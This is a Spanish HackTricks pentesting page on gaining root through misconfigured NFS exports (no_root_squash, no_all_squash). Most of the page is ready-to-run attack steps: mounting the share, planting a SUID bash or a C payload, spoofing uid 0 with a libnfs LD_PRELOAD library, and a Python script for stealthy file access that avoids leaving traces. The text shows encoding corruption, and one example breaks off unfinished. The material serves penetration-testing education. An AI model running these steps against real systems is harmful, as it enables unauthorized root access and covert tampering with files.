tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Lee el _ /etc/exports _ archivo, si encuentras alg煤n directorio que est茅 configurado como no_root_squash, entonces puedes acceder a 茅l como cliente y escribir dentro de ese directorio como si fueras el root local de la m谩quina.
no_root_squash: Esta opci贸n b谩sicamente le da autoridad al usuario root en el cliente para acceder a archivos en el servidor NFS como root. Y esto puede llevar a serias implicaciones de seguridad.
no_all_squash: Esto es similar a la opci贸n no_root_squash pero se aplica a usuarios no root. Imagina que tienes un shell como el usuario nobody; revisaste el archivo /etc/exports; la opci贸n no_all_squash est谩 presente; revisa el archivo /etc/passwd; emula un usuario no root; crea un archivo suid como ese usuario (montando usando nfs). Ejecuta el suid como el usuario nobody y convi茅rtete en un usuario diferente.
Escalamiento de Privilegios
Explotaci贸n Remota
Si has encontrado esta vulnerabilidad, puedes explotarla:
- Montando ese directorio en una m谩quina cliente, y como root copiando dentro de la carpeta montada el binario /bin/bash y d谩ndole derechos SUID, y ejecutando desde la m谩quina v铆ctima ese binario bash.
#Attacker, as root user
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash
#Victim
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
- Montando ese directorio en una m谩quina cliente, y como root copiando dentro de la carpeta montada nuestro payload compilado que abusar谩 del permiso SUID, d谩ndole derechos SUID, y ejecutando desde la m谩quina v铆ctima ese binario (puedes encontrar aqu铆 algunos payloads C SUID).
#Attacker, as root user
gcc payload.c -o payload
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /tmp/payload .
chmod +s payload
#Victim
cd <SHAREDD_FOLDER>
./payload #ROOT shell
Local Exploit
note
Tenga en cuenta que si puede crear un t煤nel desde su m谩quina a la m谩quina v铆ctima, a煤n puede usar la versi贸n remota para explotar esta escalada de privilegios tunelizando los puertos requeridos.
El siguiente truco es en caso de que el archivo /etc/exports
indique una IP. En este caso, no podr谩 usar en ning煤n caso la explotaci贸n remota y necesitar谩 abusar de este truco.
Otro requisito necesario para que la explotaci贸n funcione es que la exportaci贸n dentro de /etc/export
debe estar usando la bandera insecure
.
--No estoy seguro de que si /etc/export
est谩 indicando una direcci贸n IP, este truco funcionar谩--
Basic Information
El escenario implica explotar un recurso compartido NFS montado en una m谩quina local, aprovechando un defecto en la especificaci贸n de NFSv3 que permite al cliente especificar su uid/gid, lo que potencialmente habilita el acceso no autorizado. La explotaci贸n implica usar libnfs, una biblioteca que permite la falsificaci贸n de llamadas RPC de NFS.
Compiling the Library
Los pasos de compilaci贸n de la biblioteca pueden requerir ajustes seg煤n la versi贸n del kernel. En este caso espec铆fico, las llamadas al sistema fallocate fueron comentadas. El proceso de compilaci贸n implica los siguientes comandos:
./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
Realizando el Explotaci贸n
La explotaci贸n implica crear un programa simple en C (pwn.c
) que eleva privilegios a root y luego ejecuta un shell. El programa se compila y el binario resultante (a.out
) se coloca en el recurso compartido con suid root, utilizando ld_nfs.so
para falsificar el uid en las llamadas RPC:
- Compilar el c贸digo de explotaci贸n:
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
- Colocar la explotaci贸n en el recurso compartido y modificar sus permisos falsificando el uid:
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
- Ejecutar la explotaci贸n para obtener privilegios de root:
/mnt/share/a.out
#root
Bonificaci贸n: NFShell para Acceso a Archivos Sigiloso
Una vez que se obtiene acceso root, para interactuar con el recurso compartido NFS sin cambiar la propiedad (para evitar dejar rastros), se utiliza un script de Python (nfsh.py). Este script ajusta el uid para que coincida con el del archivo al que se accede, permitiendo la interacci贸n con archivos en el recurso compartido sin problemas de permisos:
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
import sys
import os
def get_file_uid(filepath):
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid
filepath = sys.argv[-1]
uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))
Ejecutar como:
# ll ./mount/
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.